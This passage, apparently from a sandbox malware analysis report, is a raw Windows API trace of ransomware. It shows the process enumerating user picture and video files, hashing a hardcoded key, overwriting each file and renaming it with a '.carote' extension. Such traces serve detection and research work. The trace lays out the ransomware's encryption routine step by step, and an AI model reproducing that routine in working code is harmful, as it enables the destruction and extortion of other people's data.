pdwDataLen=0x825fa98) returned 1 [0113.142] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.142] GetLastError () returned 0x0 [0113.142] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.142] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0113.142] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.142] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.142] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.142] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.143] CloseHandle (hObject=0x61c) returned 1 [0113.143] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\H5jt83oya.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\h5jt83oya.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\H5jt83oya.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\h5jt83oya.png.carote")) returned 1 [0113.144] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.144] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.145] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0113.145] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb51c44b0, ftCreationTime.dwHighDateTime=0x1d4c6a1, ftLastAccessTime.dwLowDateTime=0xd4b33c0, ftLastAccessTime.dwHighDateTime=0x1d4d08f, ftLastWriteTime.dwLowDateTime=0xd4b33c0, ftLastWriteTime.dwHighDateTime=0x1d4d08f, nFileSizeHigh=0x0, nFileSizeLow=0x12db5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KXMGrM AHu.gif", cAlternateFileName="KXMGRM~1.GIF")) returned 1 [0113.145] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\KXMGrM AHu.gif") returned=".gif" [0113.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\KXMGrM AHu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\kxmgrm ahu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.145] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=77237) returned 1 [0113.145] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.147] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12d8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.147] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.148] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x12db5, lpOverlapped=0x0) returned 1 [0113.149] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.149] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.149] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.149] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0113.150] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.150] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.150] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.150] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.150] GetLastError () returned 0x0 [0113.150] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.150] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0113.150] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.151] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12db5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.151] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.151] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.151] CloseHandle (hObject=0x61c) returned 1 [0113.152] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\KXMGrM AHu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\kxmgrm ahu.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\KXMGrM AHu.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\kxmgrm ahu.gif.carote")) returned 1 [0113.153] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b5a0d0, ftCreationTime.dwHighDateTime=0x1d4cf18, ftLastAccessTime.dwLowDateTime=0xa29a13d0, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0xa29a13d0, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LKIDjb 2A JAgFttip", cAlternateFileName="LKIDJB~1")) returned 1 [0113.153] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68a0480, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0x867b0a60, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x867b0a60, ftLastWriteTime.dwHighDateTime=0x1d4cb5b, nFileSizeHigh=0x0, nFileSizeLow=0x7f96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YlgKBS0V3seonAtFx.gif", cAlternateFileName="YLGKBS~1.GIF")) returned 1 [0113.153] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\YlgKBS0V3seonAtFx.gif") returned=".gif" [0113.153] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\YlgKBS0V3seonAtFx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\ylgkbs0v3seonatfx.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.153] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=32662) returned 1 [0113.153] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.155] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.155] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.156] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x7f96, lpOverlapped=0x0) returned 1 [0113.157] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.157] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.157] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.157] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0113.158] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.158] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.158] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.158] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.158] GetLastError () returned 0x0 [0113.158] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.158] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0113.158] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7f96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.158] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.158] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.158] CloseHandle (hObject=0x61c) returned 1 [0113.159] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\YlgKBS0V3seonAtFx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\ylgkbs0v3seonatfx.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\YlgKBS0V3seonAtFx.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\ylgkbs0v3seonatfx.gif.carote")) returned 1 [0113.160] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68a0480, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0x867b0a60, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x867b0a60, ftLastWriteTime.dwHighDateTime=0x1d4cb5b, nFileSizeHigh=0x0, nFileSizeLow=0x7f96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YlgKBS0V3seonAtFx.gif", cAlternateFileName="YLGKBS~1.GIF")) returned 0 [0113.160] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.160] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.160] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0113.160] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.160] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.160] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.161] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.161] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.161] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.161] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.161] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.161] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.161] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.161] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.161] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.161] PathFindFileNameW (pszPath="") returned="" [0113.161] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.162] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.162] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.162] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ae1060, ftCreationTime.dwHighDateTime=0x1d4ca8e, ftLastAccessTime.dwLowDateTime=0x7bc4f1c0, ftLastAccessTime.dwHighDateTime=0x1d4cb25, ftLastWriteTime.dwLowDateTime=0x7bc4f1c0, ftLastWriteTime.dwHighDateTime=0x1d4cb25, nFileSizeHigh=0x0, nFileSizeLow=0x15530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54 eabicVzfIp avOT.mp4", cAlternateFileName="54EABI~1.MP4")) returned 1 [0113.162] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.162] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.162] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.162] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\54 eabicVzfIp avOT.mp4") returned=".mp4" [0113.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\54 eabicVzfIp avOT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\54 eabicvzfip avot.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.163] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=87344) returned 1 [0113.163] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.165] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1550a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.165] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.167] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.167] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.167] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.167] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x15530, lpOverlapped=0x0) returned 1 [0113.168] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.168] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.168] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.168] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.168] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.169] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.169] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.169] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.169] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.169] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.169] GetLastError () returned 0x0 [0113.169] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.169] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.169] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.169] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x15530) returned 0x7b182e0 [0113.170] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.170] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.170] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1552b, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1552b, lpOverlapped=0x0) returned 1 [0113.170] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.170] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15530, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.170] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.170] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.170] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.170] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.170] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.170] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.171] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.171] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.171] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.171] CloseHandle (hObject=0x61c) returned 1 [0113.172] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.172] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.172] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.172] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\54 eabicVzfIp avOT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\54 eabicvzfip avot.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\54 eabicVzfIp avOT.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\54 eabicvzfip avot.mp4.carote")) returned 1 [0113.172] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.172] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.173] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.173] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3e3ba0, ftCreationTime.dwHighDateTime=0x1d4c6f4, ftLastAccessTime.dwLowDateTime=0xfdc31de0, ftLastAccessTime.dwHighDateTime=0x1d4ce2d, ftLastWriteTime.dwLowDateTime=0xfdc31de0, ftLastWriteTime.dwHighDateTime=0x1d4ce2d, nFileSizeHigh=0x0, nFileSizeLow=0x2471, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9oEreISY0AXOhVGDhgFx.flv", cAlternateFileName="9OEREI~1.FLV")) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.173] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.173] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.173] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9oEreISY0AXOhVGDhgFx.flv") returned=".flv" [0113.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9oEreISY0AXOhVGDhgFx.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9oereisy0axohvgdhgfx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.174] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=9329) returned 1 [0113.174] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.175] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x244b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.175] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.177] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.177] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.177] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2471, lpOverlapped=0x0) returned 1 [0113.177] lstrlenA 